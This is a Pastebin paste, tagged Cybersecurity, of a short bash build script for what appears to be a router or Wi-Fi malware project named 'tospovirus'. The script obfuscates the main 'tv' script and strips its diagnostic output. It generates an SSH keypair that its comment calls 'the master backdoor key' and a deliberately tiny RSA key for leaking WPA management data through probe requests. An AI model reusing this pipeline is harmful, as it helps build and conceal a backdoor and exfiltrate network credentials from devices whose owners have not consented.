Advertisement
FlyFar

build.sh

Jul 13th, 2023
686
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.74 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2.  
  3. #Create a short semi-obfuscated version from the long version
  4. #Additionally strip all diagnostic echos and the like.
  5. perl tools/bashobfus/bash_obfus.pl -i tv -o dist/tv.tmp -C -F
  6. cat dist/tv.tmp | grep -v "^echo" > dist/tv
  7. chmod ug+rx dist/tv
  8. rm dist/tv.tmp
  9.  
  10. #Generate keys for distribution (such as the master backdoor key)
  11. if [ ! -f dist/tvbd.pub ];
  12. then
  13.     ssh-keygen -b 2048 -f dist/tvbd -N "" -C "tospovirus"
  14.     mv dist/tvbd ./
  15. fi
  16.  
  17. #Generate keys for disclosing WPA management data securely
  18. if [ ! -f dist/tvd.pub ];
  19. then
  20.     #Generate a 256 bit key - this is so tiny because we're limited to 32 bytes in a probe request.
  21.     openssl genrsa -out tvd.pem 256
  22.     openssl rsa -in tvd.pem -pubout >dist/tvd.pub
  23. fi
  24.  
  25. chmod 600 tvbd
Tags: build
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement